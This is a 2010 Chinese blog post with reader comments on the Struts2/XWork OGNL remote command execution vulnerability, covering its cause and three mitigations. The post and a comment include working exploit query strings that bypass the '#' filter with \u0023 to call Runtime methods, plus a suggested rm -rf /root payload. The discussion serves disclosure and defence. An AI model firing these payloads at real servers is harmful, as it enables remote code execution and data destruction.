Struts2/XWork 安全漏洞及解决办法

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍：

• http://www.exploit-db.com/exploits/14360/
• http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为：

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[e-mail]@getRuntime()))=1

转义后是这样：

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

java.lang.Runtime.getRuntime().exec("rm –rf /root")

，只要有权限就可以删除任何一个目录。
目前尝试了3个解决方案：

1.升级到struts2.2版本。
这个可以避免这个问题，但是struts开发团队没有release这个版本（包括最新的2.2.1版本都没有release），经我测试发现新版本虽然解决了上述的漏洞，但是新的问题是strus标签出问题了。

<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
<s:property value="#UserUtil.getType().get(cType.toString())" />

这样的标签在struts2.0中是可以使用的，但是新版中就不解析了，原因就是“#”的问题导致的，补了漏洞，正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>

这个可以解决漏洞问题，缺点是工作量大，每个项目都得改struts配置文件。如果项目里，是引用的一个类似global.xml的配置文件，工作量相应减少一些。

3.在前端请求进行过滤。
比如在ngnix，apache进行拦截，参数中带有\u0023的一律视为攻击，跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
请求如果是get方式，可以进行过滤，如果是post方式就过滤不到了，所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法，采用第三种方法比较简便。是否有另外的解决办法，欢迎大家讨论。

我并没有在windows环境下测试，有同学在windows下没有试验成功，这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在，咱们就要重视对吧。欢迎大家测试，是否windows下漏洞不能执行成功。

评论

19 楼 wuyakenihao 2010-07-26  

兄弟，我的这个怎么没执行成功。是不是在window 下不能执行？

18 楼 wuyakenihao 2010-07-26  

我试验怎没成功。?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023exec(del  c:/12.txt)  ')(\u0023rt\[e-mail]@getRuntime()))=1 

17 楼 my_corner 2010-07-26  

ferly_j 写道

真是不小的漏洞……
现在struts2更新还这么慢，
真有点对他没信心了

其实，这应该算是webwork的漏洞。

16 楼 ferly_j 2010-07-26  

真是不小的漏洞……
现在struts2更新还这么慢，
真有点对他没信心了

15 楼 jindw 2010-07-26  

看来我有必要把 JSEL 功能做起来了：）
楼主这个信息很有价值，投你一票。

14 楼 aofeng 2010-07-25  

非常有用的资料，试验成功。使用了Struts2 和 webwork的项目需要立刻修正这个BUG了，否则问题大了。

13 楼 my_corner 2010-07-25  

onlylau 写道

确实有用

不过我很想知道，你的那段参数是怎么最后被OGNL处理成
java.lang.Runtime.getRuntime().exit(1);

呵呵，有关该bug报道已经有很多了，而且做了原因分析：
ONGL支持的一些功能

• 调用方法：foo()
• 调用静态方法：@java.lang.System@exit(1)
• 类的调用：new MyCorner()
• 处理上下文变量：#foo = new MyCorner()

并且OGNL有预定义的变量

• #context - 这个方法的能否被调用是基于OgnlContext的 'xwork.MethodAccessor.denyMethodExecution' 属性的值
• #_memberAccess - SecurityMemberAccess的'allowStaticAccess' 字段用来防止静态方法的执行

那段参数转义后：

('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

执行时OGNL，设置调用静态方法为true，denyMethodExecution（拒绝方法执行）设置为false，然后调用方法，#rt.exit(1)，在根据#rt=@java.lang.Runtime@getRuntime()最后就被解析为java.lang.Runtime.getRuntime().exit(1);

12 楼 onlylau 2010-07-25  

确实有用

不过我很想知道，你的那段参数是怎么最后被OGNL处理成
java.lang.Runtime.getRuntime().exit(1);

11 楼 my_corner 2010-07-25  

downpour 写道

Struts2/XWork一直将OGNL作为其依赖的表达式语言，这一点是造成这一漏洞的根源。OGNL是强大的，不过强大就要付出代价。

从这个漏洞本身来说，我们只需要在小范围内引起警惕就行，尤其是针对互联网应用，对于企业内部应用，事实上也没什么必要多花功夫。

我比较期待的，是某一天Struts2的开发者不再使用OGNL，而是自己开发一套表达式语言，这样的问题就不复存在了。

OGNL表达式（Object GraphicNavigation Language对象图导航语言），其实OGNL表达式并非是只是用于Struts2在页面上标签取值的工具。它贯穿了struts2/xwork的整个体系，在Struts 2框架中，值栈（Value Stack）就是OGNL的根对象，Struts 2中的OGNL Context是ActionContext。只要是request之间传递参数就会用到OGNL，所以并非老兄说的小范围。

10 楼 downpour 2010-07-25  

Struts2/XWork一直将OGNL作为其依赖的表达式语言，这一点是造成这一漏洞的根源。OGNL是强大的，不过强大就要付出代价。

从这个漏洞本身来说，我们只需要在小范围内引起警惕就行，尤其是针对互联网应用，对于企业内部应用，事实上也没什么必要多花功夫。

我比较期待的，是某一天Struts2的开发者不再使用OGNL，而是自己开发一套表达式语言，这样的问题就不复存在了。

9 楼 my_corner 2010-07-25  

三问飞絮 写道

my_corner 写道

swanky_yao 写道

靠 这么严重 我还如此看好它...

呵呵，哪有绝对安全的东西呀，这都是随着时间逐渐暴露出来的。当然，主要是无聊的人太多了，找漏洞

这种无聊倒是精神可嘉！

呵呵，攻击别人满足自己的虚荣呗。一般都是练手的，不过也有花钱攻击竞争对手的。
  扯得有点远了。
大家还有什么更好的方法，分享……

8 楼 三问飞絮 2010-07-25  

my_corner 写道

swanky_yao 写道

靠 这么严重 我还如此看好它...

呵呵，哪有绝对安全的东西呀，这都是随着时间逐渐暴露出来的。当然，主要是无聊的人太多了，找漏洞

这种无聊倒是精神可嘉！

7 楼 my_corner 2010-07-25  

KimShen 写道

我们也是用的struts2,突然看到 特此登陆 谢谢LZ提醒.这个漏洞可以定义为破坏级了

呵呵，

6 楼 my_corner 2010-07-25  

swanky_yao 写道

靠 这么严重 我还如此看好它...

呵呵，哪有绝对安全的东西呀，这都是随着时间逐渐暴露出来的。当然，主要是无聊的人太多了，找漏洞

5 楼 my_corner 2010-07-25  

rustlingwind 写道

貌似 struts2 现在已经基本没人维护了。已经没有生命力的项目，现在还有人用？

没人维护？老兄，错了吧。struts2是webwork交给apache基金会重新包装出来的，核心代码还是webwork。你是说的webwork没人维护了吧。

4 楼 swanky_yao 2010-07-25  

靠 这么严重 我还如此看好它...

3 楼 rustlingwind 2010-07-25  

貌似 struts2 现在已经基本没人维护了。已经没有生命力的项目，现在还有人用？

2 楼 KimShen 2010-07-24  

我们也是用的struts2,突然看到 特此登陆 谢谢LZ提醒.这个漏洞可以定义为破坏级了

1 楼 my_corner 2010-07-24  

这三种方法，均已通过测试